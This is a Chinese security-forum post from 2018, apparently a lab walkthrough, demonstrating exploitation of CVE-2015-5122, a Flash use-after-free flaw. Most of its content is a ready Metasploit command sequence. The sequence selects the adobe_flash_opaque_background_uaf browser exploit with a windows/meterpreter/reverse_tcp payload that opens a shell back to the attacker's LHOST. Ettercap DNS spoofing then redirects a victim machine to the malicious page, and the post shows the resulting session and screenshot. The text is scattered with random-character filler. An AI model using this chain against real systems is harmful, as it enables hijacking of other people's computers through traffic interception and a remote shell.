找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1348|回复: 0
打印 上一主题 下一主题

cve2015-5122漏洞实例演示虚拟机

[复制链接]
跳转到指定楼层
楼主
发表于 2018-10-20 20:28:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

8 G/ X! I/ Z# H 二、cve2015-5122漏洞实例演示虚拟机 1 A( g- O+ f4 U4 Y5 S

5 e" Q. \7 r5 R

M7 Y b: f0 Y! N' X7 g0 m   关于cve2015-5122这个漏洞,大家可以百度一下,是关于flash的漏洞,是2015flash漏洞的第二发,今天我们就用这个漏洞来演示,开启kai linux msfconsole命令启动msf如图: + z- W# X" @1 B" U! u0 d( P

( f0 I; |5 s. a% I @

1 e6 S/ P. R. b- V5 x search cve-2015-5122如图: 9 b4 \% _) q |/ N% v

" K0 h, z' o K& ^+ _

- m" j% T$ J* O1 Q9 A# H- e   1 u7 n, `1 b5 s1 L1 E

$ _& {3 g) ~3 A

+ G1 z$ F- K: P2 s 下面我们敲如下命令: $ X- ]6 z' ?4 z) G6 y

1 `' X" O0 b% G' n% ?3 i1 ]

: w) }! C, i. F4 j8 } use exploit/multi/browser/adobe_flash_opaque_background_uaf 8 L6 ~ L, W; e3 b

- u4 U6 g& R! J. E/ { n$ Z8 I/ n1 Q

- }- m6 W$ p4 k+ k* ]. c" M set PAYLOAD windows/meterpreter/reverse_tcp ; L9 @0 X9 I+ W

5 Y* }( O$ ~, I% Y1 b( h

9 v) p }! E" Z* A( F( y+ K) I set LHOST 192.168.0.109 1 f8 c/ }9 Z) W c. }. W: H

# v" Y$ B, L9 H4 ^6 T

3 @2 ^' q$ o' ?; }' n" Q set URIPATH /                        /*根目录*/ + E7 r5 V" I, Z+ D; u/ t

$ v1 s9 u. W: i2 F" A8 p6 x* b

* y* L1 p# P* _/ o. A set SRVHOST 192.168.0.109  //192.168.0.109kaili ip地址 6 X$ J) Q3 L1 O0 b7 z( m+ i3 a

6 t/ H+ A! \# Q6 R) y

Z# P" B- L9 I* _- Q4 L$ v2 W$ `: [ set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用 8 r: O3 c% A8 c0 B6 a$ C1 d

4 \! E' [1 G6 y( ^# s

) `5 \2 y. \( O0 C5 Q, | 然后show options如图: ' U7 a2 `4 e5 [2 O1 R1 Y C5 W

" T; b! ~- K' W+ `% L r( s- O9 I

; O: L( N' o i2 |( E0 M   + l4 f {. X( l1 A- v, E3 [. s

# [) _2 x/ y; X; D. _$ ?( e- Q

" T" k1 ~$ ?% `+ _ 一切都设置好了,执行exploit下面我们进etc/ettercap目录下设置etc.dns如图:
" q+ |0 g7 I9 S' e
7 H3 L& S$ m5 C9 Z

s/ [$ G- U5 D: }, O& `

& Z. D1 m [$ f: K' a 然后ettercap -G命令打开ettercap,我们要攻击的主机ip192.168.0115 / s8 ?& V a3 s c3 C% l

: n" o6 \- m& n' ^

9 n0 Y% d2 h3 @; G0 C Ettercap过程第一篇里已经演示,这里不在详细写了。。。执行完ettercap以后我们观察一下msf . w& w3 T7 Z) M5 j+ ? O

& [3 l4 X- o# Q% D0 L

. ?- O' J1 Y+ V+ E4 o# v   & W8 y$ G/ R* m4 }, p$ R

) s/ k. [) N- o, }6 r# }7 ^

) g4 e5 a A: `1 a+ v! G) v 成功了,这时候我们断开ettercap,如图: ( S: J6 W9 e, S. F0 ?4 f

8 }- W& t# F- i, s3 E

8 }4 e$ k$ N4 q" n) K5 ]   * R, n' ]1 l% {1 }, }& r3 h2 P

$ m! m v( j2 |3 K! u5 F

* Z. v* E0 c/ Z! c5 X6 f Screenshot如图: * s }( d1 n$ S5 ?2 E* {/ y

/ s3 _3 ?$ i. O6 h9 i# N3 J

, {# v- k# V( W8 t% x: D+ D6 T   - @, ]: q' f2 y+ i5 V

( y+ j/ g3 D& o

9 l- d% L) h8 ?7 O1 w % ]+ q6 Q+ i9 t1 o: P. x6 r

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表